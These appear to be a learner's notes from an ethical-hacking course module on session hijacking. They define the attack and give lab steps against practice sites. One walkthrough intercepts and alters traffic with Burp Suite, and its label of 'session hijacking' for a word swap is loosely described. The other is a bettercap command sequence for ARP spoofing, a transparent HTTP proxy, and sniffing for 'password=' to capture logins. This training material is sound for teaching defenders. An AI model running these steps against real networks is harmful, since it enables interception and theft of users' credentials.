**Module 11: Session Hijacking**

* **Session Hijacking:**
* a type of attack where an attacker takes control of a user's active session by stealing or predicting session tokens or IDs.
* It’s a form of attack where a bad actor steals or manipulates the session token to gain unauthorized access to information or services.
* The hijacking process typically begins when an attacker intercepts a token, which can be likened to a secret handshake between the user and the website. Once in possession of this token, the attacker gains the ability to masquerade as the legitimate user, potentially causing havoc.
* **Web Session Hijacking Using Burp Suit Tool :**

**(**Hacking sessions of Moviescope Site and redirecting it to goodshopping site which is hosted in window server 2019)

* Operating system: Kali os & Window Server 2019
* Moviescope site is hosted in 2019
* Tool: Burp Suite

**Steps:**

* In kali os, Open burpsuite tool > open browser and browse “<http://www.moviescope.com>” > copy the url
* Goto burp suite tool > turn “intercept on” > browse site “<http://www.moviescope.com>”
* Select “Moviescope ” word and replace it with “goodshopping” word
* Then forward the traffic after changing word
* The result is Session hijacking of the Moviescope site.
* **Session Hijacking Using bettercap Tool:**

Attacker/ Hijacker: Kali

Tool: bettercap

Target: Site hosted in Server 2019 (<http://www.moviescope.com> / <http://www.goodshopping.com> )

**Steps:**

* In kali os, goto terminal > run cmd “ sudo bettercap -iface eth0 ” to open bettercap tool //*eth0 is interface to capture, -iface for network interface*
* In window 11, browse the site <http://www.goodshopping.com>
* Back to in kali terminal, run “ help” cmd for options
* Run cmd “ net.sniff on” // *to turn on sniffing*
* Run cmd “ arp.spoof.internal” // *to perform ARP spoofing on all hosts within the local Ethernet*
* Run cmd “set arp.spoof.targets <target\_IP\_address>” //*to specify the IP addresses you want to spoof.*
* Run cmd “http.proxy on” //*sets up a full-featured HTTP transparent proxy that can intercept and modify HTTP traffic*
* Run cmd “ set net.sniff.regex '.\*password=.' ” // t*o configure the packet sniffer to filter traffic that contains a specific pattern (in this case, it captures any line that includes "password=" followed by any characters).*
* Analyze results.

Note: open window 11 - login to site after listening from bettercap in kali os to sniff username & password)